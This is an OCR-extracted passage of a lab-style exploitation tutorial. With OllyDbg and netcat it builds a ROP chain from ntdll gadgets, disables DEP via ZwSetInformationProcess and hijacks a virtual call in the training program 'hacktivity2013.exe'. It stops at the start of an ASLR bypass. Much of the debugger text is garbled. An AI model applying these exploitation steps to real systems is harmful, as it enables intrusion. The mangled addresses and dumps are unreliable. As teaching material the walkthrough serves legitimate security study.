EAY BEEREREE

ECH BEZIEELSD

EDX EEZ3IEELC

EEX BE88A0E2

ESF 8823EEZC

EEF HEZ3EEGC

ESI 749CAB0DA ASCII "PE™
FOT  ARARARLDS

Increment Flus ntdl . PFr4065EC
: 32bit BIFFFFFFFH
Deaement Minus 32hit BIFFFFFFF]
Fern SZbit BLFFFFFFFH
S2b it SFFDEoD:]
it
Setto 1l | ST
- - ERROR_SUCCESS (4
— Cﬂp? SE|EC|:I0r‘I to dlpbﬂard Ctrl'H: i HD, HE, HE, n' HS, i
Copy all registers to dipboard ]
5}
— . A
[a View MMX registers -
| Wiew 30Now! registers osition: ®i. o
View debug reqisters
Appearance N

[O0CSEEDd] Dooooooy

As we can see in reality there will not be any problem at this position. Let us continue to run the
exploit by pressing two times F7.
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Sl x| wlu| wijv |1 | +f L|E[M|T|wW/H|c|/|K|B|R|.|S]

CPU - main thread, module ntdll

SETE 1A 53 CHE EYTE PTR DOS:LEDI+1A1, 53 .
Tra0ESCE| ~BFSS SE4EFEFF | JMZ ntdll. Pr4E514E = EEELZZSEZEEEPU]
7r40BSCE| SE7F 1B 52 CHP BYTE FTR D5:LEDI+1E1,52 EC¥ ARZIEELS
7r40BSCA| ~BFSS TE4EFEFF | JMZ ntdll.7r4E514E ECH RASSEELR
7P40EC0A| S240 B2 4@ OR DWORD FTR S5:CEBF+21,4@ FE% AARABRAS
7r40EE04| ~ES T24EFEFF JHF ntdll. PP4E514E ESF RASEESD
7r40ES09| £6:&3FS 2F CHP A, 2F EBP GRSAEEAD
7r40B500| ~EFS34 v217FOFF | JE ntdll. 7F4A10SS ES] P4SeBERG ASCIT "PE™
Tr40ESES| S3CA ¥OR ERH, EAX ERT RESSEELL
7P40ECEE| E£6:2SFA @& CHF DO, &
;;EBSEEE 3595::@ EEEHEHEL J EIF 7P4DESEC ntdl . 7r4085EC
C @ ES 822 22hit B(FFFFFFFY
;;QBSEES ESE@ & ?HE EE§-5 F @ CSenlk 35hit BiFFFFFFF
iy - — e A B 55 823 35hit BIFFFFFFF
el Lo prticlusl £ 8 DS BAZ2 22bit BIFFFFFFF
7r40BCFE| S50 FF MY EYTE FTR 55:[EEF-11,EL £ B F: DRZE 3ohit FFFOEGRAL
7r40ESFS| S50 FD MU EYTE FTR 55:LEEF-31,EL T8 o opee HOLL
T dDEnE 5 85 © | UFP SHORT medil.o4noeah. D 8
i nt .
PPADRERE | SE4E 14 HOU ER% . DWORD PIR SS5:[EEF+14] BB LesdEw AR EEERE [
Stack DS:L[EHZ3EESG =608 EFL @amaazaz (Ho,HE,HE, A, M5,
STE empty H.8
EIA empty A,

As you can see we arrive to call of ZwSetInformationProcess. Continue the running by pressing F8
(NOT F7 NOW, because we do not want to enter into the ZwSetInformationProcess).
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x| 0] wi] E L A i L{E[M[T[W/H

| 77455148 BEEIEEIEE] CHF DWORD FPTR 55: [EEBP+21,H

Tr48514F v BFEd 192BEBAR JE ntdll.7r4E7CaE
77485155l EA B4 PUSH 4

Tr4851E7V| 2045 B2 LER ER:, OWORD PTR S55: CEBF+21
Tr48515A( 5@ FIUSH ERX

Fr48E1EE 22 PUSH 22
Tr485180 A FF FUSH -1

rr48515F CHE 10480 CHLL ntdll.ZwSetInformat ionProcess
Fra485164 BEZEEEEE JHP ntdl L. FP487FCEE

Trd48E169 5] MOP

Tr48516R
Fr48E16E
Trd48E160
rr485160( 9@ MOF

Trd48516E MOL EOI, EDI

rrd48517E( B5 FIUSH EEF

77485171 BEBEC MO EBEF, ESP

77485172 B1EC 28820888 5B ESF, 2238

485179 Al CE415277F MO ERX, DWORD PTR DS: [FPS241CE]
rragel FEl 23acs HOR _ERH, EBF

Stack 55:[0EZ3EEVY4 I=BEEEEEES

A bit later at position 0x77487C6E the application will die. Why? Because it wants to modify the
value at the position pointed by ESI in the instruction OR [ESI+34], 80000000. But that
position is read only.

OliyDbg - hacktivity2013.exe
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Sl x| w[n] wi¥) ¥ 1 ] + L|EmM|T|W|H|C|/|K|B|R|..|5] =|iE]?]

GEc main thread, module ntdll

TrACTLEE| S14E 54 BOODOED] UF DUORD PR OS:[ES1+541, CODDHGEE =l Registers (FFUD

77437075 SF FOP EOI —
ERY GESFIEEE hackt (vi.000F 16
77437078 SE POP ESI BV BEoarosh

Fraavcer| &0 FOF EEF .
Fr4evCTEl C2 ed@a RETH < SSEES;SS hackt ivi.BEEF344
Fr437C7E| FP46 34 G@@@aAaz| TEST OWORD FTR I:IS [ESI+34], SAAAEAEE J ARZAF 2oL

TT4ETCE2|vBFES 60130098 | JNZ ntdll.7r488F
7ragrros| 56 PUSH ESI S SO MSLCRSBphintf
Tr4grCec| ES BIFFFFFE | CALL ntdll.7748rcar EETE
TT4ETCEE|vES E5130888 | JMP ntdll. PP4SSFES .
7rdtrCos| Fra8 34 omapanal TEST DUORD_PTR DS: (ERK+34], 60000600 EIP BBEF1419 hackt ivi.BO8F14
- nt . A
C 1 ES 6823 32bit O(FFFFFFFY
Tr4E7CAD| 58 PUSH ERX -
77437CA1| EB 9IFFFFFF  [CALL ntdll.77487C37 F L Lt paib 2ebiv BIEEEEFERY
Crésrne| 9 Zeacaapn  |MMP ntdl L. 7ra3iamn .
77487CAE| 1 PUSH ECX :
TT4E7CAC| ES 1289088 |CALL ntdll.77487CC3 =
D

1
B 55 BE23 SZbit B(FFFFFFFH
B D05 8823 232bit BIFFFFFFFA
1 F5 BE3E 32bit TFFOEGEGLH
S G5 @EEE HULL

Tr42vCELl 24CH TEST AL, AL
F7AFCR LAFRE CATPARGR JHF mrAl | PRARGERS L

Fix the value in ESI

Why this hapens? If you recall our first gadget modifies the value of ESI:

7747CD3D 83C4 38 ADD ESP, 38
7747CD40 33C0 XOR EAX,EAX
77477CD42 5E POP ESI
7747CD43 5D POP EBP
7747CD44 C2 0800 RETN 8

To correct it we should do the next:

* Position 0 should be the address where we can fix EBP (0x7747CD3D)

* Position 3 should be a pointer to any writeable address, because it will be moved to ESI.
The easiest way to satisfy it is to use an address points to the stack. For example use the
same value what we use at position -1. it will be modified after the fire of the exploit so that



value do not need for us later, it can be changed.

* Position 4 should be an address on the stack, because it will be moved to EBP. As you
remember it is fulfilled by default so just leave position 4 as it is, do not change.

* Position 5 should be the address of the next gadget, what is the DEP turn off gadget, for me
it was 0x774CC2F3.

* Position -1 should be the address of position 0. It fires the control of EIP.

Now we have an idea what to do so let us try it. Restart the application, and put a breakpoint to the
position 0x008F1407 (here starts the calling of the virtual function). Again because of the ASLR the
address of the stack will change, we will take care of it later, now we do it manually. To do it select
Debug \ Restart

OllyDbg - hacktivity2013.exe

File View Options  Window Help
|E 44| ®¥| FRun Fg
Pause F1&
BESE 1AEC |
BESF 1A 1 Close Alt+F2
etz
BESF1ATS Step into F7
BESF1A7E
BESF 1AS Step over F& [EF41781, EAX

Choose yes, if you got the warning message

Process still active

% Process hacktivity2013' is active, If you terminate it now, process
L /.-' will be unable to dean up and write unsaved data to disk. Do you
= really want to terminate active process?

Mote: you can permanently disable this warning in Options |
Security.

]

Right click to the disassembly window, then select Go to \ Expression

[3 cru - main thread, module hacktivi

BEZF LAY 1 . e RerEe
| s

BooF1Ayd Dacdip
BESFiATY  Copy ’
AESF 107
BASF1A7YH  Bimary g
BESF 1051 TR D5:[SF41781, EAX
GESF1Rgsd  Assemble Space TR OS:[2F416C1,ECH
AB3F 1020 . TR D5:CSF41681, EOH
B o e d s
e s
s e R BlEare

= H H »
] i Shdinal

» i ]
BRSFIAC] un frace R DS:[2F414C1, &S
AESF 1ACH
LaasE LOCE  Follow Enter I6 DSs[SF4100]
BESF 1FEE
crtene.d  Follow in Dump k
Previous procedure  Ctrl-HMinus o

Address View call free Cirl+ pr
EEZF 4 A6 Mext procedure Cirl+Plus 4
AASF 4665
EEZF4pig  Search for » Source file Ctrl4+F5
EEEE?E;\E Firmd rafararncae tn T THHSFRFFZET




in the popup window type 008F1407, then click to the OK.

Enter expression to follow

k. I Eancell

Set the break point by right click to the MOV EDX, [ESP+20] instruction at address 0x008F1407.
Then from the popup menu select Breakpoint \ Toggle, or simply press F2 when you stand on the
instruction.

0llyDbg - hacktivity2013.exe

File View Debug Options Window Help
Bl x| 0| wi ¥4 Y] 4 LIE|M[T[W]H|C[/[K|B

HASF1486)] . A4 MOUS EYTE PTR ES:[EDI],EYTE PTR DS:[ES
BASF 1487 F 55:[ESP+2@]
F O5:[EDX]

HEEF14B8E

i ey
Eaapi] i '
gaertetp) [ R '
BEsF1423 airoak Space
BRSF1429 Label
HEEF142C
BASF1432 Comrnent 3

F SS:i[ESP+4241
R S5:[ESP+241]

F14Ed4
R S55:[ESP+14]

HAZF 1436

. | |

GASF1420 Hit trace 3 Conditional Shift+2 a0

SSEHQQE Fun trace ¥  Conditional log shift+-4

BagF1449 . L
Fun to selection F4

Jurp £0M New origin here Ctrl+Gray *

hackt ivit Go to bk Memory, on access

Address ||  Follow in Dump b Memory, onwrite Bl

Then press the F9 button, to run the program. Start the netcat, and connect to the application.

nc.exe 127.0.0.1 1234

[z Administrator: Command Prompt - nc 127.0.0.1 12345

C:wone 127 .8.8.1 12345

Commands =

—HELF: no parameters reqguired,. type this message

—UADD numl.numZ2 = set the numl—th element of the array to numZ2. valid
ml B..255, num2 32 bhit integer

—READ num :reads the num—th element of the array valid num values: B..
—EXIT: exit from the application

Use the following command, to set the position 0 to the value 0x7747CD3D (address of EBP fix
gadget)

VADD 0,2001194301

After sending the command the debugger stops at the breakpoint.



.| Administrator: Command Prompt - nc 127.0.0.1 12345

Cis>ne 127.8.8.1 12345 g

Commands :

—HELF: no parametersz pegquired, tuype thisz meszage

—UADD numl.numZ2 : zet the numl-th element of the array to num2. wvalid
mi @.._255, num2 32 hit integepr

—READ num :readsz the num—th element of the array valid num values: B..
—EXIT: exit from the application

UADD B.280011943681

Press F9, because we want to enter some more values.
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Sl x| wn| w4 ¥4 W] +f L|E[M[T[W]/H|C|/|K|B|R|..5]

[E cru - main thread, module hacktivi =] B

EEEREEE ] FIOUS EYTE PIR ES:LEDI],EBYIE PTR D5t LES = |Regizters (FPUI
% opcd4zd4 2@ MO~ EDH, OWORD FTR SS5: [ESP+2@] hackt iui. BosF 2 =222 —n
EEEEREEE = MOU ER,OWORD PTR D5: [EDX] ERl S4FaiEF MSUCRIE. T4E21S
opzFi4o0|| . SDSC24 24m4mml | LEA ECH,DWORD PTR S5: [ESP+4241 i e o T g e
epaFi4i4|] - 51 PUSH ECH e :
Gpsridic|| . BDaCad 24 LER ECK, DUORD FTR 553 [ESP+24] S Eeerach
Back 14 16 >VEEa 94@@@@@@ e Eaﬁkgwl . BASF 1B R
BESF 1423 inFBE saaaaaaa JME hackt Lui. BBSF 14B4 S B el Frtir BEE
BHRSF 1429 CHP EDOI, 2 EIF @B2F1487 hacktiwvi.B8B2F14
BESF 1420 inFSE Banopona|| Me hasks ivi,GRGF1404 : |
oocFl4zz|| - BB4Czd 14 MOU_ECK, DUORD PTR 5S: [ESP+141 £l ES pazs szbit DAEFERRECS
opzFia2s|| - BFEFr4z4 12 || MOUSK ESI,WORD PTR 55:CESP+13] A& 55 eA33 aobit A(FFFFFFFR
gggg}jgg . gé Eﬂgn E§¥ Z B D5 G622 32bit BIFFFFFFF
. " _ |51 F5 eesE 37bit FFFDFeREC
oozFi4z0|| - &3 24zzsFee || PUSH hacktivi.o08Fs324 RSCII "READ = |5 & G2 Soo8 MOLL
foriada|| . GRaded s ﬁgb EFIXPDI.LIDRD PTR 55: [ESP+ESI#4+30] me
. + #d+
BIRAE | 4 A e Fradis = * Q0 8 LastErr ERROR_SUCCESS [
Stack So! LOBZFF 200 1-BBSF D460 thacktm BESF S4B 1 EFL @@@aazsy (MO,E,HE,BE,S.F
EDX=774C4B4F ntdl L. 7r4CaBar) STH empty 8.0
Jump from BESF130C ST1 empty 8.8
hacktivitw2Al3. cppr 123, classmyobj.add value to_arrawloffset,valuesl; T2 oty @ G

Set position 5 to the value 0x774CC2F3 (address of second gadget, the DEP turn off). To do it use
the next command in netcat:

VADD 5, 2001519347

o, | Administrator: Command Prompt - nc 127.0.0.1 12345

Cisenc 127.8.8.1 12345 g

Commands :

—HELF: no parameters required, type thisz message

—UADD numl.numZ2 : set the numl-th element of the array to numZ2. valid
mi B..255, num2 32 hit integer

—READ num :reads the num—th element of the array valid num values: B..
—EXIT:- exit from the application

UADD B,.28011943681

UADD 5,.280081519347

The debugger stops again. Before pressing again F9 to enter the next value check the position on
the stack. For me it was 0x002FF2B8.
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‘Bledx] »u] w4 814 4] +) LlE[m7|w(n]c|/[K[B[R|-]s]

EESEER MOUS_EWTE FTR ES:lEDII,EYTE PR D5:LES I Regizters (FFL)
b SEC4z4 2@ MOU EDY, DWORD FTR S5t LESF+2A] hackt iui.BEeF s roe === =L
BAZE 140 | . SERE HMOU EGs, DWORD PTR DS: CEDX] Bl B Ran. msaEais
aoc a0 [ 0 DaC24 24p4pef| LEA ECKDIORD PTR S5: [ESP+424] LD Pl N s
paaF1415 | - 8D4C24 24 LEA ECH, DWORD PTR S5: [ESP+24] B
go8F1419 CALL ERx EEF 734F2BC1 MSUCRIA. printf
S| | e
AEaF 1422 | wBFEE sEeopRes|| JNE hackt Lui.BBEF14EG S0 FREIEEERS) wipell o prhitka
acF14za|| I EIFF a2 CHE EDI, 2 EIF BREF1487 hackt iui.B0SF14
RzF 1420 | wBFEs Senmmeea|| M7 hack: lui.BBEF14E4 - ]
aocriazz|| - opacza 14 MOU EC,DUORD PTR_S5: [ESP+14] S0 B o ook piEArs
GRcF 1426 || - BFEFF42d 12 || MOUSY ESI,WORD PTR S5:[ESP+121 Bl ED ZOiE Zepit BIEREEERR
Sgggijﬁg . Eé EHEE Eg? £ @ DS B3 ZEbit BIFFFFFFF
izt i [ PN 21 = i - |1 FE oezE ZEbit PRFOFGEG
: 2okt iui. BESFIIE4 Ascll READ = |G L E5 2R oebi
Pacr1aaq|| ; 555384 20 ﬁghLEEEPDMDRD FTR S5: [ESF+ESI#4+30] oo
. +EST #d+
B05F 1444 i w0 8 LastEcr ERROR_SUCCESS o
Stack So: [BBEFFEDS] BBSF346E [hacktlut BESF 4601 EFL B@@a@Ezsy (Mo, E.MNE,BE, S, F
EDN=77aCAE4E (ntdll. Tr4C4E4F) STB empty .8
Jump from @ESF120C STL empty B.0
hacktivitwBld. cpp: 128, classmywobi.add walue to_accawloffset, waluel; STD cmety @ O

Now we can calculate what to write to position 3, and position -1. first check the stack, and
remember, we set the position 0 to 0x7747CD3D it can be seen at position 0x002FF2DC:

AAZFE BEEEEECE -
GOZFFCEC| PSOCHEEC W32_32. closesocket

AEZFFZCH| BEZFFELR
GEZFFZCA| BEABEEEE
AOZFFZCE| BEABREEE
BEZFFZCC| FP4CCEFS|ntdl L. 774CC2F3
GEZFFZ00| BEABEEEs
AOZFFZ04| BEABEE12
BBZFF202 BESF34EC hackt lvi.BESF346

BECEToDt| 7rareDaD| RETURN to med\|.PP47C030 fram n
AEZFFZED| BEABEEE3
BEZFFZE| BB2FF378
BOZFFZES| 74300808 ASCIT "PET
BEZFFZEC| BB2FF32C
BEZFFZFE| 7P4CC2F3|ntdl L. 774CC2F3
AOZFFZF4| BEAEEEE1
GOZFFZFE| T43CAEDE| ASCIT "PET
BEZFFZFC| FBB2FF318
aazFFZa0|| TP4R4B61| RETURN to ntdll.7P4A4BE1 from n
aazFFa6d| | F4acesas

aozFFoos| | peaeaant [
aazFFoac | | Beaeaaas

aazFF316| | BB2FF378

AEZFFZ14| | BEZFF32C -
AEEE= o) ERRTEEROL

So to the position 3, and position -1 (take care the order, because the setting of position -1 fires the
exploit) must be set to this value.

To do it press F9 to run the application, and set the position 3 to 0x002FF2DC by the next
command

VADD 3,3142364

Administrator: Command Prompt - nc 127.0.0.1 12345

wroc 127.8.8.1 12345

ommands = =
HELPF: no parameters regquired, type this messzage

UADD numl . num2 - set the numl-th element of the array to numZ. valid

1 8__255,. num2 32 bhit integer

READ num :“readsz the num—th element of the array valid num values: @_.
EXIT: exit from the application

ADD A,.20081194381

ADD 5,.2081517347

ADD 3,.3142364




I recommend, to take a look to the stack, and check if the correct value is set, then press F9 to run

again the application
@ BEDEOEEE =
HEZFF2BC| FEOC33EC| WSE_32.closesocket
HEZFF2CE| BEZFFELS
GEZFFEC4| DOEEEEEE

GOZFFZCE | DOREEEEE
BEZFFZCC| @@2FF20C
AOZFFZ0A | AOREEEES
GEZFFZ04 | AOREAGEF
ORZFFZ05| BRSF34EC| hackt iui. BESFI46C

@BZFF20C| 7747CO30| RETURN to ntdll.7747C030 from n
OOZFFZEG | ABRBAEE3
QOZFFZE4| BBRFF37E
BEZFFZES| BE2FF20C
BEZFFZEC| BB2FF32C
GOZFFEFA| 7P40C2F3| ntdl L. 774002F3
GOZFFZF4 | AOOEAEEL
GRZFFZFE| P4SCABDE| ASCIT “PET
G0ZFFZFC| FRB2FF313
Ga2FF2a6 || 774R4B61| RETURN to ntdll.774A4BE1 from n
aozFF204| | 749Ca088

a0zFF207 | | eaaa6E1 _
aE2FF2AC | | AeRaaaE3

a0zFF2 16| | BB2FF37E

BEZFF214 (] BE2FF32C -
feletals =R R =1k 1= == = =T

Finally fire the exploit by setting the position -1 to the value 0x002FF2DC by the next command:

VADD -1,3142364

Administrator: Command Prompt - nc 127.0.0.1 12345 -0l x|

twrne 127 .8.8.1 123456
ommands =

HELP: no parameters regquired, type this message
UADD numl.num2 - set the numl—th element of the array to numZ. valid
1 8..255, num2 32 bit integer

READ num :“reads the num—th element of the array valid num values: B..
EHIT: exit from the application

ADD A, 2001194381

ADD 5,.20A1519347

ADD 3,3142364

ADD —1_.3142364

Now DO NOT press the F9, because we want to see what happens so run the application step by
step by pressing the F7 instead of F9. Until you arrive to the CALL EAX instruction (or just put
there another break point, then press F9)

As you can see EAX points to the first gadget (0x7747CD3D The ADD ESP, 38 instruction)

Continue to run the application by pressing F7.



OliyDbg - hacktivity2013.exe

File Wiew

Debug Options

Window Help

S x| wn| s+ 4] Y| 4 L|E[M|T|W|H|Cc|/|K|B|R|..|5]

& cru - main thread, module hacktivi =]

> BBEe24 20 MO ELH, OWORD FTR 55: LESP+28] = [ Reaicters (FFLD
BBZF 1 4BE MU ER¥,DWORD PTR DS:[EDXI L e
Gacriann | T BDftze z4nemet| LER ECh,CWORD PR S0i[ESR+424] Eo e o :
aezFi41a|| o E1 FUSH ECw EEy =
ppzriaic|| o 204cza 24 LEA ECY, DWORD PTR S5:[ESF+241 | S
. EFD& CALL Eni nedl L. 7Pavo0z—) EO5 SodERaes
BAZF 1416 | .wED 94PPEEAE || JMF hacktivi.B02F 14E4 EBP 294Fbatt MUCRSE. printf
nRzFiazn|| 3 B3FE B3 CHMP EEN, 2 EER farcntl c
ek 1422|| SwBFEE SEeaoes| | JHZ hacktiui.BOSF14E4 Er s
GacFi4za|| - aIFF B2 CHP EDI, 2 o
focriass|| T SRacza 14 || DU B DWORD PTR SSiTESR+14] FiP BRI ackrioL ne
0 0 B + f
oosFi43c|| - @FEFF424 18 || MOUSR ESI,WORD PTR S5:[ESP+131 EYOED RSE Sepit gpEEEEEEE
e e 2 B 25 A B S5 BEZS 3Zhit OLFFFFFFFF
. o - _ |z 6 0% GeEs ZEbit BiFFFFFEFS
gasFiacn|| o &8 zazssres || PUSH hackt ivi.@esFased AscIT "READ ¢ |2 % D5 BEES SEbiT BLPFRFEEC
aazF442(| - FFOE CALL EEF SRR BEEEaE
aocriddd]| L sbadns a0 il A%, DUDRD PTR 55: [ESP4ESTH4+32] e g e d0 B
. radld =
oozriaqn|| o Epe4cs coadee ] |ER EQW,DWORD PTE S5;[ESP+4ca] [ |0 E Lesdsss ERLENHEES 0
EFIH:??‘W'E:IBD Intdll.rrdrcosn) EFL @@adnzse (Mo, HE,HE,A,5, PY
S5TE empty .8
[ et Ao @RI S eomn 0= ol coamatsd _eel] pomline cm ermmemoEEams il o §T1 empty @.8

Press F7 to arrive to the first gadget:

File View Debug Options

OllyDbag - hacktivity2013.exe

Window Help

Slex| win] wi¥ 1| Y] + L|E[M|T|

[E cPu - main thread, module ntdll

EE

=0

C2 @oEn

5306
~E3_CAFSFFFF

~BF54 CBF2FFFF

~BFS4 ASF2FFFF
SBCE

| 7rarcoan BEEREED DO ESF, 32

7rd4vCO48| 33CA

Frarihdz
7747043

rr4vCode
Fr4vCogs
Fr4rCO4E| BFBEYC2
Fr47COS1| S3ES 28
7r47vCOs4
7r47COSH| S3ES 83
Fr4¥COsD
Fr4FCOEs

»0OR ERX, ERX

FOF ESI

FOF EEF

RETH 2

a0R ERX,ERR

JMP ntdl L. FP47CY1E
MOUE s ERE, D

SUE ERX, el

JE ntdll,7r47Cetn
SUB ERX,3

JE ntdll,7r47CABE
SUB ERX.ESI

Press F7 until arrives to position 0x7747CD44 (RET 8 instruction at the end of the first gadget). Or
just put a breakpoint to this RETN 8 instruction, and then press F9 to run it.

0llyDbg - hacktivity2013.exe

File View

Debug  Options

Window Help

Bl x| wn| w1 | » LIE[M|T|%

[E cru - main thread, module ntdll

rr4rChal
rr47CO48
Tr47CO42
7747 L0432

rrd4rChdy
rr47CO43
Tr47CO4E
rr47COs1
Tr47COs4
rr4vCOEA
rr47COs0h
G
rr47COes

2204 22
F3CH
EE

ED
CZ ErEEE
530
~E9_CAFSFFFF
BFETCE
SIES 28
~BFS4 CBF2FFFF

83ES B3
~BFS4 ASF2FFFF

2BCE
~BF34 94F2FFFF

ADD ESF, 22
KOR ERE, ERR
POP ESI

 ERE
JHF ntdll.7r47C718
MOUEX ER:, O
SUE ERH, 2h
JE ntdll, 7r47CA1A
SUB EAH, 2
JE ntdll.7747CHEE
SUB ERH,ESI
JE ntdll.7747EFFF

Check the vaule of ESI and EBP, if they are pointing to somewhere on the stack:



L=l SLooTl Ly b

BEZFF2E2| BREEEESA
BEZFFZEC) FSDCI2AC|WS2_32.closesocket
BEZFFZCH| BEZFFELA
BEZFF2C4| BREEEEEE
BEZFF2ZCE| BREEEEE8
BEZFFZCC| BEZFFZOC
BEZFF208| BREEEFFFF
BEZFFZ04| BEEEEE1E
AEZFF202) BRZFFZ0C
B82FF20C| Fr47COZ0|ntdll. 7P47CO20
HEZFFZER| BEEEEEE2
BEZFF2E4| BRZFFIFE
BEZFFZES| G@OzZFFZDC
AAZFFZEC| BEZFFIZC
Yr4CC2F3 | ntdl L. PP4CC2FE
HEZFFZF4 | BREEEEE1
BEZFFZFE| 749CE808| ASCII "FE™
BEZFFEFC| FrEEZFF212
BEZFF3EE || Fr4R4B61 | RETURM to ntdll.77d4A4BE61 from n
BEZFF2E4| ] 74908888

pozFFoos| | epoeeasi [
aazFFoac || eeeesss
BazFF310|| @B2FF378
aozFFa14|| @BzFFaac -

pocEeodo] SRRGEE=0]

Then use F7 to follow the application until we arrive to the DEP turn of gadget at position
0x774CC2F3. Continue the run by pressing F8 (NOT F7 because then you step into the CALL
ZwSetInformationProcess at Ox7748515F), and see if you get any error until the end of this gadget
at position 0x77487C78. I recommend to put there a breakpoint, then it surely will not be jump over
it too fast.

OllyDbyg - hacktivity2013.exe

File WView Debug Options Window Help
Bl x| wn| i ¥ Y | L] E|M|T|W|H]|C]

RIS Crat bf BopeeEE HoY OWORD IR S5t LEER+S1, 2

Tr4CC2FA[~ER SFEEFEBFF JHP ntdl L. Yr48E13E
Tr4CC2FF | 32CH #OR AL, AL

7r4ccaEl [~E9 SEE9FBFF JMP ntdl L. 7P487CEE
Tr4CC3Ea( 57 FUSH EDI

Fr4CCaa7( 6A B4 FUSH 4

Traccaas| 2045 @c LEA EAX,DOWORD PTR S5: [EEF+C]
FraCC3ac( Sa FUSH ERX

Yr4cCaEnl &6A 22 FUSH 22

Tr4CC3EF | 6A FF FUSH -1

Yr4CC311| EZ® 3ERBFFFF CALL ntdll.Zwiuery Informat ionProcess
Trd4CC3la| S5Ca TEST ERH,ERx

Fracca1gl~BFe0 9E0SFCFF JGE ntdll. 7rd4993E4

Do not enter to the ZwSetInformationProcess at 0x7748515F:

OllyDbg - hacktivity 2013.exe

File View Debug Options Window Help

Blux| wiu| biv 1 Y] + L|E[M[T|W]H|C|

[ cru - main thread, module ntdll

7r42514B| 2270 B2 B8 CHP DWORD PTR S5: [EBP+21,8
7r4E8514F | ~BF54 192BA8EA JE ntdll.77487CEE

Tr4851E85 &R B4 P

4215V SD45 B2

rr42515A| SA

UsH 4
LEA ERH,DWORD PTR SS5: [EBP+E2]
FUSH ER=

rr4351EE| &R 22 FUSH 22
Frd485150| 6H FF FUSH -1
i Id ES ChdladiEs CALL ntdll.ZwSetInformat ionProcess

7485164 ~E9 BS2EBAE8 JHMP ntdll. Fr487CaE
7485169 9@ MHOP

rr48516A| 98 HOP

vrd4aE1eEl 9@ MOF

Keep pressing F8 until you arrive to the RETN 4 instruction at position 0x77487C78



File View

Debug Options
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IJJJ wnj s E L 2] 4 L E[M|T|W]H|C

Frd4avCyes
rr437CYE
i =X v

rr437CeE
Frd4avce:z
rr4avCes
Fr4avces
Fra487CeE
rr4avCas
Fr4avCon

SE

=]

CZ a4008
~EF25 6A13HEEA

56

ES ASFFFEFF
~ES EE13880a

~EF 25 2E9CHEER

Frd4e 34 BEEEEES

Frd48 34 BEBERES

n thread, module ntdll
_ 214E 34 BRBEEEESI OR DWORD FTRE DS5:[ESI+34], SREEEEEER
EF POF EDI

FOF ESI

FOP EEBP

RETH 4

TEST DWORD_PTR D5: [ESI+341, 38888888
JHE ntdll.77428FER

FUSH ESI

CALL ntdll.7r487C37

JHP ntdll. PP482FES

TEST DWORD_PTR D5: [ERx+341, 38888886
JHE ntdll. 77491208

FrdaviAl

rr437CAA| 5@ FPUSH ER®
CALL ntdll.7r487CE7

ES S1FFFFFF

The value of ESP 1s 0x002FF308 now. The position 0 if you recall was 0x002FF2DC. So it means
the next position is the 11th, we must put there the address where our exploit starts.

[E cPuU - main thread, module ntdll

TT4E7CYS
Tr4EFCYE
i s v

Tr4EvCYE
Tr4EFCaz
Tr4EvCas
Tr4EvCes
Tr4EFCEE
Tr4EvCes
Tr4EFCeR
Tr4EFCHE
Tr4EFCAL
Tr4EFCHS
FP4RTIAR

S14E 24 DEBEEEI)
SF

OF DOWORD PTR DS5:[ESI+34], S00BEEGEE
FOF EDI

EE FOF ESI
={u] FOF EEF
CZ2 B408 RETH 4

Frde 24 DEEEEEII
VEEBE @1 3EEEE

ES HIFFFFFF
~ES EE13000E

FrdE 24 0ERE0E3I

~@F35 209CaaaE
=3t ]

ES 91FFFFFF
~E9 25500060

TEST DWORD_PTR DS [ESI+34], SOEEEEER
JHE ntdl L. FF42EF

FUSH ESI

CALL ntdll.77P487C37

JHP ntdll. 7P4E8FES

TEST DWORD_PTR DZI: [EAR+341, S000EEGEE
JHE ntdll. 77421308

FUSH ERX

CALL ntdll.77487C37

JHP nedl L. 7P491308

PIISH Fri

Registers [FFUI]

ER CHEHHHZZ

ECH HEZFFZE4

EDX FF4C5EF4 ntdll.KiFast5ys
EEB BEE0H0EZ

ESF BE2ZFF383

EEF F43CO0EE

ESI FF4A4BE&1 ntdll.7rP4A4BE1
EDI B82FF313

EIF ¥F487CFE ntdll.7F487CrsE
C @ ES 0622 32bit @(FFFFFFFE
F 1 CS oolE 32bit @(FFFFFFFE
A @ 55 bB23 32bit BIFFFFFFFE
28 D0F 8oz 3zbit BIFFFFFFFS

We have finished our ROP chain, to turn of the DEP. Now the next step is to bypass the ASLR.



ASLR bypass

The problem is that, the position of the stack, and the position of ntdll.dll is always changes. But we
are very lucky now, because we are able to not only write, but also to read data. So we must find
some data from what we are able to calculate the required information.

To find it restart again the application. Click to the Debug \ Restart.

OllyDbyg - hacktivity2013.exe

File View Options  Window Help

Blex o LEm[T]
o FPause Fiz ]
| | e

FIFEE
Close Alt+F2 1215
Step into F7
BESF 1021 Step over F& [3F417@1, EAX
Click Yes, if you get a warning message:
Process still active

% Process 'hadkdtivity2013' is active. If you terminate it now, process
L /.-' will be unable to dean up and write unsaved data to disk. Do you
= really want to terminate active process?

Mote: you can permanently disable this warning in Options |
Security.

Yesg | Mo I

Add a breakpoint to position 0x008F 1407 By right click anywhere in the disassembly window,
then select Go to \ Expression.

[3 cru - main thread, module hacktivi

‘ui.B83F1FER

BEEF 10T 1 b |i.BBEF1E1E
PaSF hyd | Badkp
BBSFiA7Y  Copy b
eEsFinrd
BaF 1o Binary ' TR O5:[8F41781, EAX
e b
Bl o - e
gosFlasg  Comment ; TR OS:[2F415c],EDI
Gocriqre  Breakpoint b IR DSifor4izelce
carrife] Hebes ) | Bt
BBGF {C7 Run trace Y R DS:raF41ac1iee
LEaSP10CH  Follow Enter IE Do (oF4106]
IEHEISFIFEFEl | |
crtene.d  Follow in Dump »

Previous procedure  Cirl-Hvinus =
Address View call tree Cirl+ or
SSEEESSE Mext procedure Ctrl+Plus 4
aasF4a1E  Search for » Source file Cirl4F5
EEEE?EAE Fird raforarnrace tn T | THHEEFRFFZET




In the popup window type the address 0x008F1407 (the address where the virtual function call
starts), then press the OK.

Enter expression to follow

=
k. I Eancell

Set the break point by right click to the MOV EDX, [ESP+20] instruction at address 0x008F1407.
Then from the popup menu select Breakpoint \ Toggle, or simply press F2 when you stand on the
instruction.

0llyDbyg - hacktivity2013.exe

File Wiew Debug Options Window Help

ledx] »u] v+ 30 4~ 5]E[m]7|w]nc|s|x[e

BREE 1465 ] . FOUS EYTE FTR ES:(EDLT,BYIE PTR D5: LES
BRSF1467 R S5: [ESP+201

BIRSF 1466 BackL R D5:[E0A]
BRZF 1460 p R S2:[ESF+424]
BAZF1414 Copy

BasF 1415 R 55:[ESP+241]
oo 1415 ’
BRSF1423 Assemble Space
BAEZF1429 Labe
BRSF142C F14B4
BRSF1432 Comment : R 55: [ESP+14]
BRZF1435
i '
